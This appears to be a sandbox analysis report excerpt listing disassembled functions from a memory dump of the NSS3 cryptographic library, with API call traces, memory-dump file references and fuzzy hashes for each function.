Part of subcall function 6CACE300: PORT_Alloc_Util.NSS3(?), ref: 6CACE613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6CAEAC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6CAEAB3E), ref: 6CAEACD7
PORT_Alloc_Util.NSS3(?), ref: 6CAEAD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6CAEAD2B

Part of subcall function 6CACF360: TlsGetValue.KERNEL32(00000000,?,6CAEA904,?), ref: 6CACF38B
Part of subcall function 6CACF360: EnterCriticalSection.KERNEL32(?,?,?,6CAEA904,?), ref: 6CACF3A0
Part of subcall function 6CACF360: PR_Unlock.NSS3(?,?,?,?,6CAEA904,?), ref: 6CACF3D3

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: 09b40de754ff19d7932614d6289ae6065934701b74bc0c66e86553ade3cbed05
Instruction ID: 72b2064d1c0096dee0428f830727cfb8219b755f071e5cf727fcbc87d62363a0
Opcode Fuzzy Hash: 09b40de754ff19d7932614d6289ae6065934701b74bc0c66e86553ade3cbed05
Instruction Fuzzy Hash: 3E3126B1E002055FEB008FA9CC409AF7BB7EFC8328B198128E8159B740EB319D95D7E1

Function 6CAC8C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CAC8C7C

Part of subcall function 6CB69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CBB0A27), ref: 6CB69DC6
Part of subcall function 6CB69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CBB0A27), ref: 6CB69DD1
Part of subcall function 6CB69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CB69DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAC8CB0
TlsGetValue.KERNEL32 ref: 6CAC8CD1
EnterCriticalSection.KERNEL32(?), ref: 6CAC8CE5
PR_Unlock.NSS3(?), ref: 6CAC8D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6CAC8D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CAC8D93

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 51a18053eab0ae62b1ebdc030573d99ce4302f8640c1b7f036a707df6b29a549
Instruction ID: 1cbaf24116bde70140afcd0e512803a46d3ee9a9cca8f8c76bd1b0ab1de79526
Opcode Fuzzy Hash: 51a18053eab0ae62b1ebdc030573d99ce4302f8640c1b7f036a707df6b29a549
Instruction Fuzzy Hash: 8C316871B01205AFEB009F68DC447DAB7B4FF15318F18013AEA1967B50EB71A9A8C7C2

Function 6CB09D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6CB09C5B), ref: 6CB09D82

Part of subcall function 6CB014C0: TlsGetValue.KERNEL32 ref: 6CB014E0
Part of subcall function 6CB014C0: EnterCriticalSection.KERNEL32 ref: 6CB014F5
Part of subcall function 6CB014C0: PR_Unlock.NSS3 ref: 6CB0150D

PORT_ArenaGrow_Util.NSS3(?,?,00000000,?,6CB09C5B), ref: 6CB09DA9

Part of subcall function 6CB01340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CAA895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA9F599,?,00000000), ref: 6CB0136A
Part of subcall function 6CB01340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CAA895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA9F599,?,00000000), ref: 6CB0137E
Part of subcall function 6CB01340: PL_ArenaGrow.NSS3(?,6CA9F599,?,00000000,?,6CAA895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA9F599,?), ref: 6CB013CF
Part of subcall function 6CB01340: PR_Unlock.NSS3(?,?,6CAA895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA9F599,?,00000000), ref: 6CB0145C

PORT_ArenaGrow_Util.NSS3(?,?,?,?,?,?,?,?,6CB09C5B), ref: 6CB09DCE

Part of subcall function 6CB01340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CAA895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA9F599,?,00000000), ref: 6CB013F0
Part of subcall function 6CB01340: PL_ArenaGrow.NSS3(?,6CA9F599,?,?,?,00000000,00000000,?,6CAA895A,00000000,?,00000000,?,00000000,?,00000000), ref: 6CB01445

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CB09C5B), ref: 6CB09DDC
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,6CB09C5B), ref: 6CB09DFE
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,6CB09C5B), ref: 6CB09E43
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,6CB09C5B), ref: 6CB09E91

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

Part of subcall function 6CB01560: TlsGetValue.KERNEL32(00000000,00000000,?,?,?,6CAFFAAB,00000000), ref: 6CB0157E
Part of subcall function 6CB01560: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CAFFAAB,00000000), ref: 6CB01592
Part of subcall function 6CB01560: memset.VCRUNTIME140(?,00000000,?), ref: 6CB01600
Part of subcall function 6CB01560: PL_ArenaRelease.NSS3(?,?), ref: 6CB01620
Part of subcall function 6CB01560: PR_Unlock.NSS3(?), ref: 6CB01639

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Arena$Util$Value$Alloc_CriticalEnterSectionUnlock$GrowGrow_$ErrorMark_Releasememset
String ID:
API String ID: 3425318038-0
Opcode ID: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction ID: 46654e30589ad64efabfcf1092cd9e2b28713ccdced68916617fa2463e7cb32e
Opcode Fuzzy Hash: ec09ca6b5ba00fa30881863b7796f78fa7ddeeb76bf669e4abd50a1f8de51863
Instruction Fuzzy Hash: D84181B4A01646AFE744DF15D840B96BBA5FF45348F148128D8184BFA0EB72E838CF91

Function 6CACDDD0 Relevance: 10.6, APIs: 7, Instructions: 106COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?), ref: 6CACDDEC

Part of subcall function 6CB00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB008B4

PK11_DigestBegin.NSS3(00000000), ref: 6CACDE70
PK11_DigestOp.NSS3(00000000,00000004,00000000), ref: 6CACDE83
HASH_ResultLenByOidTag.NSS3(?), ref: 6CACDE95
PK11_DigestFinal.NSS3(00000000,00000000,?,00000040), ref: 6CACDEAE
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CACDEBB
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CACDECC

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: K11_$Digest$Error$BeginContextDestroyFinalFindResultTag_Util
String ID:
API String ID: 1091488953-0
Opcode ID: 7567e87fb043099fd59eaa55eaaa44616f8d338e43eed706bf1a6f97064ac649
Instruction ID: 7cac8d3ca442dbfebf84a106a2625ad1cd8cc54d090caf15ee82633276a8a47b
Opcode Fuzzy Hash: 7567e87fb043099fd59eaa55eaaa44616f8d338e43eed706bf1a6f97064ac649
Instruction Fuzzy Hash: 303195B2E402146BEB01AF69AD41BBB76B8AF54708F050125ED09A7741FB31D998C6E3

Function 6CAA7E30 Relevance: 10.6, APIs: 7, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CAA7E48

Part of subcall function 6CB00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CAA87ED,00000800,6CA9EF74,00000000), ref: 6CB01000
Part of subcall function 6CB00FF0: PR_NewLock.NSS3(?,00000800,6CA9EF74,00000000), ref: 6CB01016
Part of subcall function 6CB00FF0: PL_InitArenaPool.NSS3(00000000,security,6CAA87ED,00000008,?,00000800,6CA9EF74,00000000), ref: 6CB0102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000008), ref: 6CAA7E5B

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAA7E7B

Part of subcall function 6CAFFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAF8D2D,?,00000000,?), ref: 6CAFFB85
Part of subcall function 6CAFFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAFFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CBC925C,?), ref: 6CAA7E92

Part of subcall function 6CAFB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBD18D0,?), ref: 6CAFB095

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CAA7EA1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CAA7ED1
SECOID_FindOID_Util.NSS3(00000004), ref: 6CAA7EFA

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_FindItem_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpy
String ID:
API String ID: 3989529743-0
Opcode ID: 7f77056fc5b47f6163670e48bb02cb273ca49bf60bc11eb13514a1ce9c5359d5
Instruction ID: cd890ef9b6a01837afff41371ea0f11402bc4864a094ac58dd771985e43eba08
Opcode Fuzzy Hash: 7f77056fc5b47f6163670e48bb02cb273ca49bf60bc11eb13514a1ce9c5359d5
Instruction Fuzzy Hash: 0F31C2B2E012119BEB208FA99C40B6B77F8AF44258F194824ED55EBB45F730ED49C7E0

Function 6CAFDC10 Relevance: 10.6, APIs: 7, Instructions: 94memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000,?,?,00000000,?,?,6CAFD9E4,00000000), ref: 6CAFDC30
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,00000000,?,?,6CAFD9E4,00000000), ref: 6CAFDC4E
PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,?,6CAFD9E4,00000000), ref: 6CAFDC5A
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CAFDC7E
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAFDCAD

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Alloc_Util$Arenamemcpy
String ID:
API String ID: 2632744278-0
Opcode ID: d35abfd4e80404fcc18ccbb47f77b289bfd35b72735627a43d6c29945d13c50f
Instruction ID: cac353744216d79c0eb28988cb2d4a516b47534d7717904f52cb5c58dfba1e6b
Opcode Fuzzy Hash: d35abfd4e80404fcc18ccbb47f77b289bfd35b72735627a43d6c29945d13c50f
Instruction Fuzzy Hash: 27316FB5A002409FD751CF29D890B56BBF8EF15358F188429F968CBB01E771E986CBA1

Function 6CAC2E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CABE728,?,00000038,?,?,00000000), ref: 6CAC2E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC2E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAC2E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CAC2E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CAC2E9E
PR_Unlock.NSS3(?), ref: 6CAC2EAB
PR_Unlock.NSS3(?), ref: 6CAC2F0D

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 480230c623a01160899e15b853bc43418f3841ba4518948803ba4e0b6e8792ab
Instruction ID: 50e4dcd724af9856d07ac698b574b8ded0d9d74492d8c102e60d069d963785e5
Opcode Fuzzy Hash: 480230c623a01160899e15b853bc43418f3841ba4518948803ba4e0b6e8792ab
Instruction Fuzzy Hash: 7331EA79B005099BEB005F68EC458AABB79FF45358B088274ED1897B11EB31DCE4C7D1

Function 6CB0CEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CB0CD93,?), ref: 6CB0CEEE

Part of subcall function 6CB014C0: TlsGetValue.KERNEL32 ref: 6CB014E0
Part of subcall function 6CB014C0: EnterCriticalSection.KERNEL32 ref: 6CB014F5
Part of subcall function 6CB014C0: PR_Unlock.NSS3 ref: 6CB0150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CB0CD93,?), ref: 6CB0CEFC

Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB010F3
Part of subcall function 6CB010C0: EnterCriticalSection.KERNEL32(?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0110C
Part of subcall function 6CB010C0: PL_ArenaAllocate.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01141
Part of subcall function 6CB010C0: PR_Unlock.NSS3(?,?,?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB01182
Part of subcall function 6CB010C0: TlsGetValue.KERNEL32(?,6CAA8802,00000000,00000008,?,6CA9EF74,00000000), ref: 6CB0119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CB0CD93,?), ref: 6CB0CF0B

Part of subcall function 6CB00840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CB008B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CB0CD93,?), ref: 6CB0CF1D

Part of subcall function 6CAFFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAF8D2D,?,00000000,?), ref: 6CAFFB85
Part of subcall function 6CAFFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAFFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CB0CD93,?), ref: 6CB0CF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CB0CD93,?), ref: 6CB0CF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CB0CD93,?,?,?,?,?,?,?,?,?,?,?,6CB0CD93,?), ref: 6CB0CF78

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: d40dacc08b92fc63668f041362d30daaf8761e45c8b219edf4d468d8ffdb451d
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 271160A5B002859BEB14AE666C41B6BBAECDF5458DF04403AF909D7741FB60D90C86B3

Function 6CAB8C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAB8C1B
EnterCriticalSection.KERNEL32 ref: 6CAB8C34
PL_ArenaAllocate.NSS3 ref: 6CAB8C65
PR_Unlock.NSS3 ref: 6CAB8C9C
PR_Unlock.NSS3 ref: 6CAB8CB6

Part of subcall function 6CB4DD70: TlsGetValue.KERNEL32 ref: 6CB4DD8C
Part of subcall function 6CB4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CB4DDB4

Strings

KRAM, xrefs: 6CAB8C8F

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 33fc426c8995981b0b9895252f4f1ae0a92ea909cca20499496b44c2bd0e69cc
Instruction ID: 3618da7f05f1a72e8f8d038b85c0e42aafab99d816fe091aafb4ff870e179dae
Opcode Fuzzy Hash: 33fc426c8995981b0b9895252f4f1ae0a92ea909cca20499496b44c2bd0e69cc
Instruction Fuzzy Hash: 7C216DB5A056028FD700AF7DC484559BBF8FF06314F05896ED8889B712EB35E8C9CB92

Function 6CB33E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CB35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB35B56

PR_EnterMonitor.NSS3(?), ref: 6CB33E45

Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690AB
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB690C9
Part of subcall function 6CB69090: EnterCriticalSection.KERNEL32 ref: 6CB690E5
Part of subcall function 6CB69090: TlsGetValue.KERNEL32 ref: 6CB69116
Part of subcall function 6CB69090: LeaveCriticalSection.KERNEL32 ref: 6CB6913F

PR_EnterMonitor.NSS3(?), ref: 6CB33E5C
PR_EnterMonitor.NSS3(?), ref: 6CB33E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CB33EA6

Part of subcall function 6CB4C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB4C2BF

PR_ExitMonitor.NSS3(?), ref: 6CB33EC0
PR_ExitMonitor.NSS3(?), ref: 6CB33ED7
PR_ExitMonitor.NSS3(?), ref: 6CB33EEE

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 560b1683b20dfb149e7a67cbda1ff85bc1d50e21c1f7312acebf89a3f3037016
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: B011BB719145B0ABD7315F29FC02BCB77A1DB40308F001834E65E87E60E736E52AC752

Function 6CBB2C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CBB2CA0
PR_ExitMonitor.NSS3 ref: 6CBB2CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CBB2CD1
strdup.MOZGLUE(?), ref: 6CBB2CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CBB2D27

Strings

Loaded library %s (static lib), xrefs: 6CBB2D22

Memory Dump Source

Source File: 00000000.00000002.2758409403.000000006CA21000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2758072452.000000006CA20000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759347718.000000006CBBF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759594505.000000006CBFE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759681398.000000006CBFF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759777107.000000006CC00000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2759900652.000000006CC05000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 9241d74fccbe4e71e9590a06bc9772de35d99c4c4b6237555bf885c8b1bde746
Instruction ID: fca09096d26e20d1ec527e44be394a423b9616e7377372d0547b456270d0b560
Opcode Fuzzy Hash: 9241d74fccbe4e71e9590a06bc9772de35d99c4c4b6237555bf885c8b1bde746
Instruction Fuzzy Hash: 8711E2B57002909FEB108F19DC49A7A77B4EB4935DF14852DD80997B41DB32E848CBA2

Function 6CAABDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CAABDCA

Part of subcall function 6CB00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CAA87ED,00000800,6CA9EF74,00000000), ref: 6CB01000
Part of subcall function 6CB00FF0: PR_NewLock.NSS3(?,00000800,6CA9EF74,00000000), ref: 6CB01016
